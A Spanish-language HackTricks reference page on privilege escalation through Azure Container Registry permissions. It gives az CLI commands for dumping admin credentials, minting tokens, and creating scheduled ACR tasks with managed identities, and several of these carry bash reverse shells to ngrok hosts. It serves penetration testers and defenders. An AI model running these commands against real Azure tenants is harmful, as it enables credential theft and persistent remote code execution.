Az - Azure Container Registry Privesc

Tip

Aprende y practica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

Azure Container Registry

Para más información, consulta:

Az - Container Registry

Microsoft.ContainerRegistry/registries/listCredentials/action

Este permiso permite al usuario listar las credenciales de administrador del ACR. Esto es útil para obtener acceso completo sobre el registro.

az rest --method POST \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ContainerRegistry/registries/<registry-name>/listCredentials?api-version=2023-11-01-preview"

En caso de que las credenciales de administrador no estén habilitadas, también necesitarás el permiso Microsoft.ContainerRegistry/registries/write para habilitarlas con:

az rest --method PATCH --uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ContainerRegistry/registries/<registry-name>?api-version=2023-11-01-preview" --body '{"properties": {"adminUserEnabled": true}}'

Microsoft.ContainerRegistry/registries/tokens/write, Microsoft.ContainerRegistry/registries/generateCredentials/action

Estos permisos permiten al usuario crear un nuevo token con contraseñas para acceder al registro.

Para usar el az cli para generarlo como en el siguiente ejemplo, también necesitarás los permisos Microsoft.ContainerRegistry/registries/read, Microsoft.ContainerRegistry/registries/scopeMaps/read, Microsoft.ContainerRegistry/registries/tokens/operationStatuses/read, Microsoft.ContainerRegistry/registries/tokens/read

az acr token create \
--registry <registry-name> \
--name <token-name> \
--scope-map _repositories_admin

Microsoft.ContainerRegistry/registries/listBuildSourceUploadUrl/action, Microsoft.ContainerRegistry/registries/scheduleRun/action, Microsoft.ContainerRegistry/registries/runs/listLogSasUrl/action

Estos permisos permiten al usuario construir y ejecutar una imagen en el registro. Esto se puede usar para ejecutar código en el contenedor.

Warning

Sin embargo, la imagen se ejecutará en un entorno aislado y sin acceso al servicio de metadatos. Esto significa que el contenedor no tendrá acceso a los metadatos de la instancia, por lo que esto no es realmente útil para escalar privilegios.

# Build
echo 'FROM ubuntu:latest\nRUN bash -c "bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/17585 0>&1"\nCMD ["/bin/bash", "-c", "bash -i >& /dev/tcp//2.tcp.eu.ngrok.io/17585 0>&1"]' > Dockerfile
az acr run --registry 12345TestingRegistry --cmd '$Registry/rev/shell:v1:v1' /dev/null

Microsoft.ContainerRegistry/registries/tasks/write

Este es el permiso principal que permite crear y actualizar una tarea en el registro. Esto se puede usar para ejecutar un código dentro de un contenedor con una identidad administrada adjunta a él en el contenedor.

Este es el ejemplo de cómo ejecutar un shell reverso en un contenedor con la identidad administrada del sistema adjunta a él:

az acr task create \
--registry <registry-name> \
--name reverse-shell-task \
--image rev/shell:v1 \
--file ./Dockerfile \
--context https://github.com/carlospolop/Docker-rev.git \
--assign-identity \
--commit-trigger-enabled false \
--schedule "*/1 * * * *"

Otra forma de obtener un RCE desde una tarea sin usar un repositorio externo es utilizar el comando az acr task create con la bandera --cmd. Esto te permitirá ejecutar un comando en el contenedor. Por ejemplo, puedes ejecutar un shell reverso con el siguiente comando:

az acr task create \
--registry <registry-name> \
--name reverse-shell-task-cmd \
--image rev/shell2:v1 \
--cmd 'bash -c "bash -i >& /dev/tcp/4.tcp.eu.ngrok.io/15508 0>&1"' \
--schedule "*/1 * * * *" \
--context /dev/null \
--commit-trigger-enabled false \
--assign-identity

Tip

Tenga en cuenta que para asignar la identidad administrada por el sistema no necesita ningún permiso especial, aunque debe haberse habilitado antes en el registro y asignado algunos permisos para que sea útil.

Para asignar una identidad administrada por el usuario también necesitaría el permiso Microsoft.ManagedIdentity/userAssignedIdentities/assign/action para hacer:

az acr task create \
--registry <registry-name> \
--name reverse-shell-task \
--image rev/shell:v1 \
--file ./Dockerfile \
--context https://github.com/carlospolop/Docker-rev.git \
--assign-identity \[system\] "/subscriptions/<subscription-id>>/resourcegroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<mi-name>" \
--commit-trigger-enabled false \
--schedule "*/1 * * * *"

Para actualizar el repositorio de una tarea existente, puedes hacer:

az acr task update \
--registry <registry-name> \
--name reverse-shell-task \
--context https://github.com/your-user/your-repo.git

Microsoft.ContainerRegistry/registries/importImage/action

Con este permiso es posible importar una imagen al registro de azure, incluso sin tener la imagen localmente. Sin embargo, ten en cuenta que no puedes importar una imagen con una etiqueta que ya existe en el registro.

# Push with az cli
az acr import \
--name <registry-name> \
--source mcr.microsoft.com/acr/connected-registry:0.8.0 # Example of a repo to import

Para eliminar o desmarcar una etiqueta de imagen específica del registro, puedes usar el siguiente comando. Sin embargo, ten en cuenta que necesitarás un usuario o token con suficientes permisos para hacerlo:

az acr repository untag \
--name <registry-name> \
--image <image-name>:<tag>

az acr repository delete \
--name <registry-name> \
--image <image-name>:<tag>

Tip

Aprende y practica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks